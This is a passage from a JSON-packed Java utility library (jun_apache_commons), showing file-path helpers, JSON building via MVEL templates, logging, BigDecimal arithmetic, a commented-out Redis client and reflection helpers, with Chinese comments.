文件名\n\t * @return String 合并后的文件路径\n\t * */\n\tpublic static String mergeFolderAndFilePath(String folderPath,\n\t\t\tString fileName) {\n\t\tif (StringUtil.isNull(folderPath)) {\n\t\t\treturn fileName;\n\t\t}\n\t\tif (StringUtil.isNull(fileName)) {\n\t\t\treturn folderPath;\n\t\t}\n\t\tif (!folderPath.endsWith(File.separator) && !folderPath.endsWith(\"/\")) {\n\t\t\treturn folderPath + File.separator + fileName;\n\t\t} else {\n\t\t\treturn folderPath + fileName;\n\t\t}\n\t}\n\n\t/***\n\t * 得到指定Class下的文件的目录\n\t * \n\t * @param classStr\n\t * @param filePath\n\t * @return\n\t */\n\tpublic static String getDirForFilePath(\n\t\t\t@SuppressWarnings(\"rawtypes\") Class classStr, String filePath) {\n\t\tURL url = classStr.getResource(filePath);\n\t\tint lastIndex = url.getPath().lastIndexOf(\"/\");\n\t\tif (lastIndex > 0) {\n\t\t\treturn url.getPath().substring(0, lastIndex);\n\t\t}\n\t\treturn null;\n\t}\n\n\t/***\n\t * 得到此项目下的文件目录路径\n\t * \n\t * @param filePath\n\t * @return\n\t */\n\tpublic static String getDirForCommonUtilFilePath(String filePath) {\n\t\treturn getDirForFilePath(IOUtil.class, filePath);\n\t}\n\n\t/***\n\t * 把InputStream复制到OutputStream\n\t * \n\t * @param from\n\t * @param to\n\t * @return\n\t * @throws IOException\n\t */\n\tpublic static long copyInToOut(InputStream from, OutputStream to)\n\t\t\tthrows IOException {\n\t\tbyte[] buf = new byte[1024];\n\t\tlong total = 0;\n\t\twhile (true) {\n\t\t\tint r = from.read(buf);\n\t\t\tif (r == -1) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tto.write(buf, 0, r);\n\t\t\ttotal += r;\n\t\t}\n\t\treturn total;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/JSONUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.beanutils.PropertyUtils;\nimport org.apache.commons.collections.CollectionUtils;\nimport org.apache.commons.lang.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.json.JSONObject;\n//import org.apache.tapestry5.json.JSONObject;\nimport org.mvel2.templates.TemplateRuntime;\n\nimport com.jun.plugin.commons.util.callback.IConvertValue;\nimport com.jun.plugin.commons.util.callback.IConvertValueDate;\n\n/**\n * @ClassName: JSONUtil\n * @Description: JSON对象的扩展\n * @author Wujun\n * @date 2010-11-15 上午09:26:25\n * \n */\n@SuppressWarnings(\"rawtypes\")\npublic abstract class JSONUtil {\n\t// js里面需要处理的特殊字符集\n\tpublic static final String[][] specialChar = new String[][] {\n\t\t\t{ \"\\\\\\\\\", \"\\\\\\\\\\\\\\\\\" }, { \"\\\"null\\\"\", \"\\\"\\\"\" } };\n\n\t/**\n\t * 合并JSon\n\t * \n\t * @param res1\n\t *            要合并的json对象1\n\t * @param res2\n\t *            要合并的json对象2\n\t * @return JSONObject\n\t * */\n\tpublic static JSONObject mergeJSON(JSONObject res1, JSONObject res2) {\n//\t\tJSONObject addJSON = res1.keys().size() < res2.keys().size() ? res1\n//\t\t\t\t: res2;\n//\t\tJSONObject mainJSON = res1.keys().size() < res2.keys().size() ? res2\n//\t\t\t\t: res1;\n//\t\tfor (Iterator iterator = addJSON.keys().iterator(); iterator.hasNext();) {\n//\t\t\tString key = (String) iterator.next();\n//\t\t\tmainJSON.append(key, addJSON.get(key));\n//\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 把JSONObject对象转为list，里面的第个元素为String[2]\n\t * \n\t * @param jsonObject\n\t *            要合并的json对象1\n\t * @return List\n\t * */\n\tpublic static List<String[]> getValues(JSONObject jsonObject) {\n\t\tList<String[]> resultList = new ArrayList<String[]>();// 因为是有序的，不能用map\n\t\tString key;\n//\t\tfor (Iterator keys = jsonObject.keys().iterator(); keys.hasNext(); resultList\n//\t\t\t\t.add(new String[] { key, String.valueOf(jsonObject.get(key)) }))\n//\t\t\tkey = (String) keys.next();\n\t\treturn resultList;\n\t}\n\n\t/***\n\t * 把Map转为json格式的的json数据，全部为String输出\n\t * 结果为：{\"itemCode\":\"returnCheck\",\"itemName\":\"待退货检查\"}\n\t * \n\t * @param fromMap\n\t *            需要转的map\n\t * @param convert\n\t *            转换规则，可以为null\n\t * @param keys\n\t *            需要转的key值，如果不填则为全部 要取的标题，支持别名，如：new\n\t *            String[]{\"\"itemCode,itemCode\",\"itemName_zh,itemName\"\"}\n\t *            itemName_zh为是取值的列名,itemName要显示的列名\n\t * @return\n\t */\n\tpublic static String getJsonForMap(Map<String, Object> fromMap,\n\t\t\tIConvertValue[] convert, String... keys) {\n\t\tif (fromMap == null || fromMap.size() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tkeys = ArrayUtils.isNotEmpty(keys) ? keys : (String[]) fromMap.keySet()\n\t\t\t\t.toArray();\n\t\tStringBuffer buff = new StringBuffer(\"{\");\n\t\tfor (int i = 0; i < keys.length; i++) {\n\t\t\tString key = keys[i];\n\t\t\tString[] keyAry = key.split(\",\");\n\t\t\tString valCol = StringUtil.trimSpace(keyAry[0]);\n\t\t\tString showCol = StringUtil.trimSpace(keyAry[keyAry.length - 1]);\n\t\t\tObject value = fromMap.get(valCol);\n\t\t\tString valueTrue = value == null ? null : String.valueOf(value);\n\t\t\tif (convert != null && convert.length > i && convert[i] != null) {\n\t\t\t\tIConvertValue convertTrue = convert[i];\n\t\t\t\tif (ReflectAsset.isInterface(convertTrue.getClass(),\n\t\t\t\t\t\t\"cn.rjzjh.commons.util.callback.IConvertValueDate\")) {// 是时间转换\n\t\t\t\t\tIConvertValueDate convInst = (IConvertValueDate) convertTrue;\n\t\t\t\t\tvalueTrue = value == null ? \"\" : convInst\n\t\t\t\t\t\t\t.getStr((Date) value);\n\t\t\t\t} else {\n\t\t\t\t\tvalueTrue = valueTrue == null ? \"\" : convertTrue\n\t\t\t\t\t\t\t.getStr(valueTrue);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (i != 0) {\n\t\t\t\tbuff.append(\",\");\n\t\t\t}\n\t\t\tbuff.append(\"\\\"\" + showCol + \"\\\":\\\"\"\n\t\t\t\t\t+ StringUtil.hasNull(valueTrue) + \"\\\"\");\n\n\t\t}\n\t\tbuff.append(\"}\");\n\t\treturn buff.toString();\n\t}\n\n\tpublic static String getJsonForMap(Map<String, Object> fromMap,\n\t\t\tString... keys) {\n\t\treturn getJsonForMap(fromMap, null, keys);\n\t}\n\n\t/****\n\t * 递归组装带\".\"的字符串,如\"caOrganization.caOrganization.orgName\"\n\t * @param valCol\n\t * @param startindex\n\t * @return\n\t */\n\tprivate static String packMvel2(String valCol, int startindex) {\n\t\tif (StringUtils.isEmpty(valCol)) {\n\t\t\treturn \"\";\n\t\t}\n\t\tint indexdot = valCol.indexOf(\".\", startindex);\n\t\tif (indexdot <= 0) {\n\t\t\treturn valCol;\n\t\t}\n\t\tString retstr = \"(\" + valCol.substring(0, indexdot) + \"==null?\\\"\\\":\"\n\t\t\t\t+ packMvel2(valCol, indexdot + 1) + \")\";\n\t\treturn retstr;\n\t}\n\n\t/****\n\t * 返回格式　[{\"itemCode\":\"checkNoPass\",\"itemName\":\"质检不通过\"},{\n\t * \"itemCode\":\"checkPass\",\"itemName\":\"质检通过\"}]\n\t * \n\t * @param fromList\n\t *            要取的源数据,支持Map和Object对象\n\t * @param converts\n\t *            要转换的规则，可以为空，与title要一一对应\n\t * @param titles\n\t *            要取的标题，支持别名，如：new\n\t *            String[]{\"\"itemCode,itemCode\",\"itemName_zh,itemName\"\"}\n\t *            itemName_zh为是取值的列名,itemName要显示的列名\n\t * \n\t * @return\n\t */\n\tpublic static String getJsonForList(List<?> fromList,\n\t\t\tIConvertValue[] converts, String... titles) {\n\t\tif (CollectionUtils.isEmpty(fromList) || ArrayUtils.isEmpty(titles)) {\n\t\t\treturn \"[]\";\n\t\t}\n\t\tStringBuffer buff = new StringBuffer(\"[\");\n\t\tfor (Object object : fromList) {\n\t\t\tif (ReflectAsset.isInterface(object.getClass(), \"java.util.Map\")) {\n\t\t\t\tString singJoson = getJsonForMap((Map) object, converts, titles);\n\t\t\t\tbuff.append(singJoson + \",\");\n\t\t\t} else {\n\t\t\t\tStringBuffer jsonTempStr = new StringBuffer(\"@{'{\");\n\t\t\t\tfor (int i = 0; i < titles.length; i++) {\n\t\t\t\t\tString[] titleAry = titles[i].split(\",\");\n\t\t\t\t\tString valCol = StringUtil.trimSpace(titleAry[0]);\n\t\t\t\t\tvalCol=packMvel2(valCol,0);\n\t\t\t\t\tString showCol = StringUtil\n\t\t\t\t\t\t\t.trimSpace(titleAry[titleAry.length - 1]);\n\t\t\t\t\tjsonTempStr.append(\"\\\"\" + showCol + \"\\\":\\\"'+\" + valCol\n\t\t\t\t\t\t\t+ \"+'\\\"\");\n\t\t\t\t\tif (i != titles.length - 1) {\n\t\t\t\t\t\tjsonTempStr.append(\",\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tjsonTempStr.append(\"}'}\");\n\t\t\t\t// 通过规则转换字符\n\t\t\t\tString tempStr = String.valueOf(TemplateRuntime.eval(\n\t\t\t\t\t\tjsonTempStr.toString(), object));\n\t\t\t\tif (ArrayUtils.isNotEmpty(converts)) {\n\t\t\t\t\tJSONObject jsObj = new JSONObject(tempStr);\n\t\t\t\t\tfor (int i = 0; i < converts.length; i++) {\n\t\t\t\t\t\tIConvertValue convert = converts[i];\n\t\t\t\t\t\tString colName = i < titles.length ? titles[i] : null;\n\t\t\t\t\t\tif (convert != null && StringUtil.isNotNull(colName)) {\n\t\t\t\t\t\t\tint index = colName.indexOf(\",\");\n\t\t\t\t\t\t\tString key = \"\";\n\t\t\t\t\t\t\tString oriKey = \"\";\n\t\t\t\t\t\t\tif (index > 0) {\n\t\t\t\t\t\t\t\tkey = colName.substring(index + 1);\n\t\t\t\t\t\t\t\toriKey = colName.substring(0, index);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tkey = colName;\n\t\t\t\t\t\t\t\toriKey = colName;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tString value = \"\";\n\t\t\t\t\t\t\tif (ReflectAsset\n\t\t\t\t\t\t\t\t\t.isInterface(convert.getClass(),\n\t\t\t\t\t\t\t\t\t\t\t\"cn.rjzjh.commons.util.callback.IConvertValueDate\")) {// 是时间转换\n\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\tDate oriDate = (Date) PropertyUtils\n\t\t\t\t\t\t\t\t\t\t\t.getProperty(object, oriKey);\n\t\t\t\t\t\t\t\t\tIConvertValueDate convInst = (IConvertValueDate) convert;\n\t\t\t\t\t\t\t\t\tvalue = convInst.getStr(oriDate);\n\n\t\t\t\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tvalue = convert.getStr(jsObj.getString(key));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tjsObj.put(key, value);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ttempStr = jsObj.toString();\n\t\t\t\t}\n\t\t\t\tfor (int i = 0; i < specialChar.length; i++) {\n\t\t\t\t\tString[] tempAry = specialChar[i];\n\t\t\t\t\ttempStr = tempStr.replaceAll(tempAry[0], tempAry[1]);\n\t\t\t\t}\n\t\t\t\tbuff.append(tempStr + \",\");\n\t\t\t}\n\t\t}\n\t\tbuff.delete(buff.length() - 1, buff.length());// 去除最后一个“,”\n\t\tbuff.append(\"]\");\n\t\treturn buff.toString();\n\t}\n\n\tpublic static String getJsonForList(List<?> fromList, String... titles) {\n\t\treturn getJsonForList(fromList, new IConvertValue[] {}, titles);\n\t}\n\n\t/****\n\t * 支持Map, Map<String, IConvertValue> key为title\n\t * 如果是标题有别名方式：aaa,bbb　　则以别名主识别IConvertValue\n\t * \n\t * @param fromList\n\t * @param convertsMap\n\t * @param titles\n\t * @return\n\t */\n\tpublic static String getJsonForList(List<?> fromList,\n\t\t\tMap<String, IConvertValue> convertsMap, String... titles) {\n\t\tIConvertValue[] convert = null;\n\t\tif (convertsMap != null\n\t\t\t\t&& CollectionUtils.isNotEmpty(convertsMap.keySet())) {\n\t\t\tconvert = new IConvertValue[titles.length];\n\t\t\tfor (String title : convertsMap.keySet()) {\n\t\t\t\tint index = -1;\n\t\t\t\tfor (int i = 0; i < titles.length; i++) {\n\t\t\t\t\tString eleTitle = titles[i];\n\t\t\t\t\tif (StringUtil.isNotNull(eleTitle)) {\n\t\t\t\t\t\tString[] tempTitleAry = eleTitle.split(\",\");\n\t\t\t\t\t\tString trueKey = tempTitleAry.length > 1 ? tempTitleAry[1]\n\t\t\t\t\t\t\t\t: tempTitleAry[0];\n\t\t\t\t\t\tif (title.equalsIgnoreCase(trueKey)) {\n\t\t\t\t\t\t\tindex = i;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// int index = ArrayUtils.indexOf(titles, title);\n\t\t\t\tif (index >= 0) {\n\t\t\t\t\tconvert[index] = convertsMap.get(title);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn getJsonForList(fromList, convert, titles);\n\t}\n\n\t/****\n\t * 别名\n\t * \n\t * @param fromList\n\t * @param aliasTitles\n\t * @param convertsMap\n\t * @return\n\t */\n\tpublic static String getJsonForListAlias(List<?> fromList,\n\t\t\tString[] aliasTitles, Map<String, IConvertValue> convertsMap) {\n\t\tif (CollectionUtils.isEmpty(fromList)) {\n\t\t\treturn \"[]\";\n\t\t}\n\t\tObject object = fromList.get(0);\n\t\tString[] titles = null;\n\t\tif (ReflectAsset.isInterface(object.getClass(), \"java.util.Map\")) {\n\t\t\tMap temp = (Map) object;\n\t\t\ttitles = new String[temp.size()];\n\t\t\tint i = 0;\n\t\t\tfor (Object keyObj : temp.keySet()) {\n\t\t\t\ttitles[i++] = String.valueOf(keyObj);\n\t\t\t}\n\t\t} else {\n\t\t\tList<String> fields = ReflectAsset.findGetField(object.getClass());\n\t\t\ttitles = fields.toArray(new String[fields.size()]);\n\t\t}\n\t\tif (aliasTitles != null && aliasTitles.length > 0) {\n\t\t\ttitles = CollectionUtil.arrayMerge(titles, aliasTitles);\n\t\t}\n\t\treturn getJsonForList(fromList, convertsMap, titles);\n\t}\n\n\tpublic static String getJsonForListAlias(List<?> fromList) {\n\t\treturn getJsonForListAlias(fromList, null, null);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/LoggerHelp.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class LoggerHelp implements java.io.Serializable {\n\tprivate static final long serialVersionUID = 7616481079297589315L;\n\n\t/****\n\t * 得到commons-util的根目录日志\n\t * \n\t * @return\n\t */\n\tpublic static final Logger getUtilLogger() {\n\t\treturn LoggerFactory.getLogger(\"cn.rjzjh.commons.util\");\n\t}\n\n\t/****\n\t * 跟据logger的名字得到日志\n\t * \n\t * @param name\n\t * @return\n\t */\n\tpublic static final Logger getJspLog(String name) {\n\t\treturn LoggerFactory.getLogger(name);\n\t}\n\n\t/***\n\t * 通过类得到日志\n\t * \n\t * @param c\n\t * @return\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static final Logger getLoggerByClass(Class c) {\n\t\treturn LoggerFactory.getLogger(c);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/NumberUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.math.BigDecimal;\nimport java.util.Date;\n\nimport com.jun.plugin.commons.util.constant.SimpleDateFormatCase;\n\n/**\n * @ClassName: NumberUtil\n * @Description: 计算类型的处理\n * @author Wujun\n * @date 2010-10-29 下午01:37:46\n * \n */\npublic abstract class NumberUtil {\n\t/**\n\t * 精度转换采用BigDecimal.ROUND_HALF_EVEN转换精度 向“最接近的”数字舍入，如果是5，则采取左边数字奇上偶下法则\n\t * \n\t * @param input\n\t *            要处理的值\n\t * @param scale\n\t *            精度\n\t * @return\n\t * */\n\tpublic static BigDecimal handleScale(BigDecimal input, int scale) {\n\t\treturn input.setScale(scale, BigDecimal.ROUND_HALF_EVEN);\n\t}\n\n\t/**\n\t * 把double值转为BigDecimal\n\t * \n\t * @param input\n\t *            要处理的值\n\t * @param scale\n\t *            精度\n\t * @return\n\t * */\n\tpublic static BigDecimal handleScale(double input, int scale) {\n\t\tBigDecimal bigDecimal = new BigDecimal(input);\n\t\treturn handleScale(bigDecimal, scale);\n\t}\n\n\t/**\n\t * 把String值转为BigDecimal\n\t * \n\t * @param input\n\t *            要处理的值\n\t * @param scale\n\t *            精度\n\t * @return\n\t * */\n\tpublic static BigDecimal handleScale(String input, int scale) {\n\t\tBigDecimal bigDecimal = new BigDecimal(input);\n\t\treturn handleScale(bigDecimal, scale);\n\t}\n\n\t/**\n\t * 跟据时间产生yyyyMMddHHmmssSSSS格式的长整形\n\t * \n\t * @return long\n\t * */\n\tpublic synchronized static long proUniqNumByTime() {\n\t\treturn new Long(SimpleDateFormatCase.yyyyMMddHHmmssSSSS.getInstanc()\n\t\t\t\t.format(new Date()));\n\t}\n\n\t/****\n\t * 两个BigDecimal相加，返回２位小数点精度的BigDecimal\n\t * \n\t * @param b1\n\t * @param b2\n\t * @return\n\t */\n\tpublic static BigDecimal bigDecimalAdd(BigDecimal b1, BigDecimal b2) {\n\t\tif (b1 == null || b2 == null) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\treturn changeBD(b1.add(b2));\n\t\t}\n\t}\n\n\t/****\n\t * 两个BigDecimal相减，返回２位小数点精度的BigDecimal\n\t * \n\t * @param b1\n\t * @param b2\n\t * @return\n\t */\n\tpublic static BigDecimal bigDecimalPlus(BigDecimal b1, BigDecimal b2) {\n\t\tif (b1 == null || b2 == null) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\treturn changeBD(b1.subtract(b2));\n\t\t}\n\t}\n\n\tpublic static BigDecimal handNull(BigDecimal ori) {\n\t\treturn ori == null ? new BigDecimal(0) : ori;\n\t}\n\n\t/****\n\t * 把字符型/double型/BigDecimal型 转成２位小数点精度的BigDecimal\n\t * \n\t * @param db\n\t * @return\n\t */\n\tpublic static BigDecimal changeBD(Object db) {\n\t\tif (db == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (db instanceof BigDecimal) {\n\t\t\treturn NumberUtil.handleScale((BigDecimal) db, 2);\n\t\t}\n\t\tDouble dbd = null;\n\t\tif (db instanceof String) {\n\t\t\tdbd = Double.parseDouble(db.toString());\n\t\t} else if (db instanceof Double) {\n\t\t\tdbd = (Double) db;\n\t\t}\n\t\tif (dbd == null) {\n\t\t\treturn null;\n\t\t}\n\t\treturn NumberUtil.handleScale(dbd, 2);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/RedisClient.java",
    "content": "// This file is commented out — uses Jedis which is now removed.\n// See jun_redis module for Redis client functionality.\n/*\npackage com.jun.plugin.commons.util.apiext;\n\nimport java.util.Map;\nimport java.util.Properties;\n\nimport com.jun.plugin.commons.util.Conf;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\nimport redis.clients.jedis.Jedis;\nimport redis.clients.jedis.JedisPool;\nimport redis.clients.jedis.JedisPoolConfig;\n\npublic class RedisClient {\n\tprivate static JedisPool jedisPool;\n\tprivate final static Object lockObj = new Object();\n\n\tpublic static Jedis getConnection(Properties connProp) {\n\t\tif (connProp == null || connProp.size() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tif (jedisPool == null) {\n\t\t\tsynchronized (lockObj) {\n\t\t\t\tString appName = (String) connProp.get(\"defaultRedisName\");\n\t\t\t\tMap<String, String> confMap = Conf.getRedisServerPropByKey(\n\t\t\t\t\t\tconnProp, appName);\n\t\t\t\tJedisPoolConfig config = new JedisPoolConfig();\n\t\t\t\tconfig.setMaxTotal(Integer.parseInt(confMap.get(\"maxTotal\")));\n\t\t\t\tconfig.setMaxIdle(Integer.parseInt(confMap.get(\"maxIdle\")));\n\t\t\t\tconfig.setMaxWaitMillis(Integer.parseInt(confMap\n\t\t\t\t\t\t.get(\"maxWaitMillis\")));\n\t\t\t\tconfig.setTestOnBorrow(Boolean.parseBoolean(confMap\n\t\t\t\t\t\t.get(\"testOnBorrow\")));\n\t\t\t\tjedisPool = new JedisPool(config, confMap.get(\"host\"),\n\t\t\t\t\t\tInteger.parseInt(confMap.get(\"port\")));\n\t\t\t}\n\t\t}\n\t\treturn jedisPool.getResource();\n\t}\n\n\tpublic static void returnResource(Jedis jedis) {\n\t\tjedis.close();\n\t\tif (jedisPool != null) {\n\t\t\tjedisPool.close();\n\t\t}\n\t}\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/ReflectAsset.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.beans.BeanInfo;\nimport java.beans.IntrospectionException;\nimport java.beans.Introspector;\nimport java.beans.PropertyDescriptor;\nimport java.lang.ref.Reference;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.beanutils.PropertyUtils;\nimport org.apache.commons.collections.CollectionUtils;\nimport org.apache.commons.lang.ArrayUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.callback.IConvertValue;\nimport com.jun.plugin.commons.util.callback.IConvertValueDate;\n\n@SuppressWarnings(\"rawtypes\")\npublic abstract class ReflectAsset {\n\tpublic static Logger logger = LoggerFactory.getLogger(ReflectAsset.class);\n\n\tprivate static String[] excludeGet = new String[] { \"getClass\" };\n\n\tpublic static Object invokeStaticMothed(String className,\n\t\t\tString methodName,Class[] paramclass,Object... param) throws Exception {\n\t\tClass c = Class.forName(className);\n\t\tMethod m = c.getMethod(methodName, paramclass);\n\t\tObject retobj = m.invoke(c, param);\n\t\treturn retobj;\n\t}\n\t/****\n\t * 简单参数\n\t * @param className\n\t * @param methodName\n\t * @param param\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static Object invokeStaticMothed(String className,\n\t\t\tString methodName,Object... param) throws Exception {\n\t\tClass[] paramClass=null;\n\t\tif (!org.apache.commons.lang3.ArrayUtils.isEmpty(param)) {\n\t\t\tparamClass = new Class[param.length];\n\t\t\tfor (int i = 0; i < param.length; i++) {\n\t\t\t\tparamClass[i] = param.getClass();\n\t\t\t}\n\t\t} \n\t\treturn invokeStaticMothed(className,methodName,paramClass,param);\n\t}\n\t\n\t\n\n\tpublic static Object invokeMothed(Object invokeObj, String methodName,\n\t\t\tObject... param) {\n\t\tClass c = invokeObj.getClass();\n\t\tif (StringUtil.isNull(methodName)) {\n\t\t\tlogger.error(\"反射中缺少方法\");\n\t\t\treturn null;\n\t\t}\n\t\tMethod[] m = c.getMethods();// .getMethod(methodName,ptypes);\n\t\tMethod exeMethod = null;\n\t\tfor (int i = 0; i < m.length; i++) {\n\t\t\tMethod tempMethod = m[i];\n\t\t\tif (!methodName.equals(tempMethod.getName())) {// 方法名不相等\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tClass[] classAry = tempMethod.getParameterTypes();\n\t\t\tif (classAry.length != param.length) {// 方法的参数不匹配\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif ((param == null && classAry == null)\n\t\t\t\t\t|| (classAry.length == 0 && param.length == 0)) {// 无参数调用\n\t\t\t\texeMethod = tempMethod;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tboolean isthisMethod = true;\n\t\t\tfor (int j = 1; j < classAry.length; j++) {\n\t\t\t\tClass classAryEle = classAry[j];\n\t\t\t\tObject paramEle = param[j];\n\t\t\t\tif (classAryEle.isArray() && paramEle.getClass().isArray()) {// TODO\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 参数是数组的如何查询它的元类型？？？？？\n\t\t\t\t\ttry {\n\t\t\t\t\t\tObject[] paramArry = (Object[]) param;\n\t\t\t\t\t\tObject[] classInstArry = (Object[]) classAryEle\n\t\t\t\t\t\t\t\t.newInstance();\n\t\t\t\t\t\tif (paramArry[0].getClass().isAssignableFrom(\n\t\t\t\t\t\t\t\tclassInstArry[0].getClass())) {\n\t\t\t\t\t\t\tisthisMethod = false;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t} else if (!paramEle.getClass().isArray()\n\t\t\t\t\t\t&& !classAryEle.isArray()) {\n\t\t\t\t\tif (!paramEle.getClass().isAssignableFrom(classAryEle)) {\n\t\t\t\t\t\tisthisMethod = false;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tisthisMethod = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (isthisMethod) {\n\t\t\t\texeMethod = tempMethod;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t}\n\t\tif (exeMethod != null) {\n\t\t\ttry {\n\t\t\t\treturn exeMethod.invoke(invokeObj, param);\n\t\t\t} catch (Exception e) {\n\t\t\t\tlogger.error(\"反射调用方法出错。\");\n\t\t\t}\n\t\t}\n\t\treturn null;\n\t}\n\n\t/***\n\t * 是否是基本数据类型\n\t * \n\t * @param clz\n\t * @return\n\t */\n\tpublic static boolean isPrimitieClass(Class clz) {\n\t\ttry {\n\t\t\treturn ((Class) clz.getField(\"TYPE\").get(null)).isPrimitive();\n\t\t} catch (Exception e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t/****\n\t * 找到get方法且没有参数的方法\n\t * \n\t * @return\n\t */\n\tpublic static List<String> findGetMethod(Class clz) {\n\t\tList<String> methList = new ArrayList<String>();\n\t\tMethod[] m = clz.getMethods();\n\t\tif (m.length == 0) {\n\t\t\treturn methList;\n\t\t}\n\t\tfor (int i = 0; i < m.length; i++) {\n\t\t\tMethod method = m[i];\n\t\t\tString methodName = method.getName();\n\t\t\tif (!methodName.startsWith(\"get\")) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (ArrayUtils.contains(excludeGet, methodName)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tClass[] classAry = method.getParameterTypes();\n\t\t\tif (classAry.length == 0) {\n\t\t\t\tmethList.add(method.getName());\n\t\t\t}\n\t\t}\n\t\treturn methList;\n\t}\n\n\t/***\n\t * 找到get方法对应的域\n\t * \n\t * @param clz\n\t * @return\n\t */\n\tpublic static List<String> findGetField(Class clz) {\n\t\tList<String> retList = new ArrayList<String>();\n\t\tList<String> methodList = findGetMethod(clz);\n\t\tfor (String methodname : methodList) {\n\t\t\tString ele = methodname.substring(3);\n\t\t\tretList.add(ele.substring(0, 1).toLowerCase() + ele.substring(1));\n\t\t}\n\t\treturn retList;\n\t}\n\n\t/***\n\t * 把Bean对象转为Map\n\t * \n\t * @param obj\n\t * @return\n\t */\n\tpublic static Map<String, String> convertMapFromBean(Object obj,\n\t\t\tMap<String, IConvertValue> convermap, boolean allowNull) {\n\t\tMap<String, String> retmap = new HashMap<String, String>();\n\t\tif (obj == null) {\n\t\t\treturn retmap;\n\t\t}\n\t\tList<String> fields = findGetField(obj.getClass());\n\t\tif (CollectionUtils.isNotEmpty(fields)) {\n\t\t\tfor (String field : fields) {\n\t\t\t\ttry {\n\t\t\t\t\tString value = null;\n\t\t\t\t\tif (convermap == null || !convermap.containsKey(field)) {\n\t\t\t\t\t\tvalue = BeanUtils.getProperty(obj, field);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tIConvertValue convert = convermap.get(field);\n\t\t\t\t\t\tif (ReflectAsset\n\t\t\t\t\t\t\t\t.isInterface(convert.getClass(),\n\t\t\t\t\t\t\t\t\t\t\"cn.rjzjh.commons.util.callback.IConvertValueDate\")) {// 是时间转换\n\t\t\t\t\t\t\tDate oriDate = (Date) PropertyUtils.getProperty(\n\t\t\t\t\t\t\t\t\tobj, field);\n\t\t\t\t\t\t\tIConvertValueDate convInst = (IConvertValueDate) convert;\n\t\t\t\t\t\t\tvalue = convInst.getStr(oriDate);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tvalue = BeanUtils.getProperty(obj, field);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t\tif (!allowNull && StringUtil.isNull(value)) {// 不允许为空但又是空值\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (StringUtil.isNotNull(value)\n\t\t\t\t\t\t\t&& value.startsWith(\"org.apache.openjpa.enhance\")) {// 由jpa生成的对象不放入\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tretmap.put(field, value);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn retmap;\n\t}\n\n\t/***\n\t * 